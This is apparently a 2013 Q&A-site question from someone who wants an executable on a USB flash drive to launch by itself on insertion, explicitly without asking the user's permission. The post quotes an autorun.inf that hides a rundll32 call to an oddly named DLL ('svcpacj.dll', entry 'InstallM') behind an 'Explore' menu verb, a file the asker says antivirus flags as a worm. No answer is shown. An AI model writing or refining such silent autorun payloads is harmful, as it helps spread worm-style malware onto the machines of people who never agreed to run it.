Open a file automatically when USB is inserted
14:03 18 Apr 2013

I'm trying to execute a .exe file when a USB flash drive is plugged in - without asking the user for permission. I mean as soon as the USB is plugged in, the program on it (for example: F:\run.exe) should start, without any click made by the user.

I tried this code with shell execute in the autorun.inf file:

[Autorun]
open=
shell\open=Explore
shell\open\Command=rundll32.exe .\\svcpacj.dll,InstallM
shell\open\Default=1

The antivirus software detected this file as a gen worm, but I still cannot run an .exe file.

windows shell shellexecute autorun usb-flash-drive